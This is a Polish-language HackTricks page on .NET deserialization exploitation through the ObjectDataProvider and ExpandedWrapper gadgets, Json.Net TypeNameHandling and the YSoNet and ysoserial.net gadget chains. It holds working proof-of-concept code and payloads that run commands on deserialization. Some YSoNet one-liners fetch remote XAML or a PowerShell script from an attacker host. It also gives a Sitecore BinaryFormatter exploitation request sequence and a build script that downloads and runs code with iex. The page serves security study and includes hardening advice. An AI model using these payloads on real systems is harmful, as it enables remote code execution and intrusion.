Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Reading time: 9 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Ten wpis ma na celu wyjaśnić, jak gadget ObjectDataProvider jest wykorzystywany do uzyskania RCE oraz w jaki sposób biblioteki serializacji Json.Net i xmlSerializer mogą być nadużyte z użyciem tego gadgetu.

ObjectDataProvider Gadget

Z dokumentacji: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
No cóż, to dziwne wyjaśnienie, więc zobaczmy, co ta klasa ma takiego interesującego: Ta klasa pozwala opakować dowolny obiekt, użyć MethodParameters aby ustawić dowolne parametry, a następnie użyć MethodName, aby wywołać dowolną funkcję opakowanego obiektu z przekazanymi parametrami.
W związku z tym dowolny obiekt będzie wykonywał funkcję z parametrami podczas deserializacji.

Jak to jest możliwe

Przestrzeń nazw System.Windows.Data, znajdująca się w PresentationFramework.dll pod C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, to miejsce, gdzie zdefiniowano i zaimplementowano ObjectDataProvider.

Używając dnSpy możesz zajrzeć do kodu klasy, która nas interesuje. Na obrazku poniżej widzimy kod PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name

Jak widać, gdy ustawiony zostaje MethodName, wywoływana jest metoda base.Refresh(); przyjrzyjmy się, co ona robi:

Ok, kontynuujmy i zobaczmy, co robi this.BeginQuery(). BeginQuery jest przesłonięte przez ObjectDataProvider i oto co robi:

Zauważ, że na końcu kod wywołuje this.QueryWorke(null). Zobaczmy, co to wykonuje:

Zauważ, że to nie jest cały kod funkcji QueryWorker, ale pokazuje interesującą część: Kod wywołuje this.InvokeMethodOnInstance(out ex); — to właśnie linia, w której zestaw metod jest wywoływany.

Jeśli chcesz sprawdzić, że samo ustawienie MethodName spowoduje jego wykonanie, możesz uruchomić ten kod:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Uwaga, trzeba dodać jako odwołanie C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll aby załadować System.Windows.Data

ExpandedWrapper

Używając poprzedniego exploita będą przypadki, gdzie obiekt zostanie zdeserializowany jako instancja ObjectDataProvider (na przykład w DotNetNuke vuln, używając XmlSerializer obiekt został zdeserializowany za pomocą GetType). Wtedy nie będzie znajomości typu obiektu, który jest opakowany w instancji ObjectDataProvider (na przykład Process). You can find more information about the DotNetNuke vuln here.

Ta klasa pozwala określić typy obiektów, które są enkapsulowane w danej instancji. Tak więc, ta klasa może być użyta do zapakowania obiektu źródłowego (ObjectDataProvider) w nowy typ obiektu i dostarczenia potrzebnych właściwości (ObjectDataProvider.MethodName oraz ObjectDataProvider.MethodParameters).
To jest bardzo przydatne w przypadkach takich jak przedstawiony wcześniej, ponieważ będziemy mogli opakować _ObjectDataProvider** wewnątrz **ExpandedWrapper _ instancji i po zdeserializowaniu ta klasa utworzy obiekt OjectDataProvider który wykona funkcję wskazaną w MethodName.

Możesz sprawdzić ten wrapper za pomocą następującego kodu:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

W official web page jest wskazane, że ta biblioteka pozwala Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. Zatem, jeśli moglibyśmy deserialize the ObjectDataProvider gadget, moglibyśmy spowodować RCE tylko poprzez deserializację obiektu.

Json.Net example

Najpierw zobaczmy przykład, jak serialize/deserialize obiekt przy użyciu tej biblioteki:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Wykorzystywanie Json.Net

Używając ysoserial.net stworzyłem exploit:

java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

W tym kodzie możesz test the exploit, po prostu uruchom go i zobaczysz, że calc zostanie uruchomiony:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Zaawansowane łańcuchy gadgetów .NET (YSoNet & ysoserial.net)

Technika ObjectDataProvider + ExpandedWrapper opisana powyżej to tylko jeden z WIELU łańcuchów gadgetów, które można wykorzystać, gdy aplikacja wykonuje niebezpieczną deserializację .NET. Nowoczesne narzędzia red-teamowe, takie jak YSoNet (oraz starszy ysoserial.net), automatyzują tworzenie gotowych do użycia złośliwych grafów obiektów dla dziesiątek gadgetów i formatów serializacji.

Poniżej znajduje się skondensowany przegląd najużyteczniejszych łańcuchów dostarczanych z YSoNet wraz z krótkim wyjaśnieniem działania i przykładowymi poleceniami do wygenerowania payloadów.

Gadget ChainGłówna idea / prymitywPopularne serializeryYSoNet one-liner
TypeConfuseDelegateUszkadza rekord DelegateSerializationHolder tak, że po zmaterializowaniu delegat wskazuje na dowolną metodę dostarczoną przez atakującego (np. Process.Start)BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorWykorzystuje System.Workflow.ComponentModel.ActivitySurrogateSelector, aby ominięć filtrowanie typów .NET ≥4.8 i bezpośrednio wywołać konstruktor podanej klasy lub skomilować plik C# w locieBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourWykorzystuje stare reprezentacje XML System.Data.DataSet, aby zainstancjonować dowolne typy poprzez wypełnienie pól <ColumnMapping> / <DataType> (opcjonalnie podszywając się pod assembly przy użyciu --spoofedAssembly)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsNa środowiskach z WPF (> .NET 5) łączy gettery właściwości aż do System.CodeDom.Compiler.CompilerResults, a następnie kompiluje lub ładuje DLL dostarczone przez -cJson.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (przypomnienie)Używa WPF System.Windows.Data.ObjectDataProvider do wywołania dowolnej statycznej metody z kontrolowanymi argumentami. YSoNet dodaje wygodny wariant --xamlurl do zdalnego hostowania złośliwego XAMLBinaryFormatter, Json.NET, XAML, itd.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)Osadza ScriptBlock w System.Management.Automation.PSObject, który wykonuje się podczas deserializacji obiektu przez PowerShellPowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

Wszystkie payloady są domyślnie zapisywane na stdout, co ułatwia przekierowywanie ich do innych narzędzi (np. generatorów ViewState, enkoderów base64, klientów HTTP).

Budowanie / instalacja YSoNet

Jeśli pod Actions ➜ Artifacts / Releases nie ma dostępnych skompilowanych binarek, poniższy jednowierszowy skrypt PowerShell skonfiguruje środowisko budowania, sklonuje repozytorium i skompiluje wszystko w trybie Release:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

Skompilowany ysonet.exe znajduje się w ysonet/bin/Release/.

Wykrywanie i utwardzanie

  • Wykrywaj nieoczekiwane procesy potomne w3wp.exe, PowerShell.exe lub dowolnego procesu deserializującego dane dostarczone przez użytkownika (np. MessagePack, Json.NET).
  • Włącz i wymuś filtrowanie typów (TypeFilterLevel = Full, niestandardowy SurrogateSelector, SerializationBinder, itd.) kiedy nie można usunąć przestarzałego BinaryFormatter / NetDataContractSerializer.
  • Tam, gdzie to możliwe, migruj do System.Text.Json lub DataContractJsonSerializer z konwerterami opartymi na białej liście.
  • Zablokuj niebezpieczne biblioteki WPF (PresentationFramework, System.Workflow.*) przed załadowaniem w procesach webowych, które nigdy nie powinny ich potrzebować.

Rzeczywisty sink: Sitecore convertToRuntimeHtml → BinaryFormatter

Praktyczny .NET sink dostępny w uwierzytelnionych przepływach Sitecore XP Content Editor:

  • Sink API: Sitecore.Convert.Base64ToObject(string) wywołuje new BinaryFormatter().Deserialize(...).
  • Ścieżka wyzwalająca: pipeline convertToRuntimeHtmlConvertWebControls, który wyszukuje elementu-sąsiada z id="{iframeId}_inner" i odczytuje atrybut value, który jest traktowany jako dane zserializowane zakodowane w base64. Wynik jest rzutowany na string i wstawiany do HTML.

Minimalny end‑to‑end (uwierzytelniony):

// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
  • Gadget: dowolny łańcuch BinaryFormatter zwracający string (efekty uboczne są uruchamiane podczas deserializacji). Zobacz YSoNet/ysoserial.net, aby wygenerować payloads.

Dla pełnego łańcucha, który zaczyna się pre‑auth od HTML cache poisoning w Sitecore i prowadzi do tego sinka:

Sitecore

Odnośniki

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks